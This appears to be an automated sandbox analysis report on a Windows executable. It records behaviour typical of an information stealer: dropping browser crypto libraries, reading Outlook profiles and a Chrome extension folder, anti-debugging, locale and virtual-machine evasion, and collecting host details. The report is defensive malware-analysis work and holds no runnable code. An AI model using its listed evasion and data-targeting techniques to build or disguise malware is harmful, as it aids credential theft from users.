Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: UvswnLTk5d.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: UvswnLTk5d.exe, 00000000.00000002.2197467446.000000006F90D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: UvswnLTk5d.exe, 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: UvswnLTk5d.exe, 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: C:\dafini daxemiyat\jidibekic35 voyonohote.pdb source: UvswnLTk5d.exe
Source:	Binary string: .C:\dafini daxemiyat\jidibekic35 voyonohote.pdb source: UvswnLTk5d.exe
Source:	Binary string: mozglue.pdb source: UvswnLTk5d.exe, 00000000.00000002.2197467446.000000006F90D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Unpacked PE file: 0.2.UvswnLTk5d.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Unpacked PE file: 0.2.UvswnLTk5d.exe.400000.0.unpack

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_00416240 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00416240

Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_004176C5 push ecx; ret

0_2_004176D8

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

0_2_00416240

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-76001

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

API coverage: 5.0 %

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00412570
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D1C0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_004015C0 FindFirstFileA,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004015C0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,LdrInitializeThunk,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00411650
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B610
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,LdrInitializeThunk,FindNextFileA,	0_2_0040DB60
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00411B80
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040D540
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_004121F0

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_00401120 GetSystemInfo,ExitProcess,

0_2_00401120

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002DF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: UvswnLTk5d.exe, 00000000.00000002.2177676362.0000000002DAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;`3f
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	API call chain: ExitProcess graph end node	graph_0-75989
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	API call chain: ExitProcess graph end node	graph_0-75986
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	API call chain: ExitProcess graph end node	graph_0-77032
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	API call chain: ExitProcess graph end node	graph_0-76015
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	API call chain: ExitProcess graph end node	graph_0-76039
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	API call chain: ExitProcess graph end node	graph_0-76000
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	API call chain: ExitProcess graph end node	graph_0-76007

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_00404C70 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,LdrInitializeThunk,InternetCloseHandle,InternetCloseHandle,

0_2_00404C70

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_00417B4E IsDebuggerPresent,LdrInitializeThunk,SetUnhandledExceptionFilter,UnhandledExceptionFilter,LdrInitializeThunk,GetCurrentProcess,TerminateProcess,

0_2_00417B4E

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

0_2_00416240

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_00415DC0 mov eax, dword ptr fs:[00000030h]

0_2_00415DC0

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_00404C70 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,LdrInitializeThunk,InternetCloseHandle,InternetCloseHandle,

0_2_00404C70

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_00419DC7 SetUnhandledExceptionFilter,	0_2_00419DC7
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_00417B4E IsDebuggerPresent,LdrInitializeThunk,SetUnhandledExceptionFilter,UnhandledExceptionFilter,LdrInitializeThunk,GetCurrentProcess,TerminateProcess,	0_2_00417B4E
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_004173DD LdrInitializeThunk,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004173DD
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFDAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CFDAC62

HIPS / PFW / Operating System Protection Evasion

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00415D00

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_6D024760 malloc,LdrInitializeThunk,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,LdrInitializeThunk,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6D024760

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_6CF01C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CF01C30

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_6CFDAE71 cpuid

0_2_6CFDAE71

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00414570

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_00414450 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

0_2_00414450

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_004143C0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004143C0

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_004144B0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_004144B0

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_6CF28390 NSS_GetVersion,
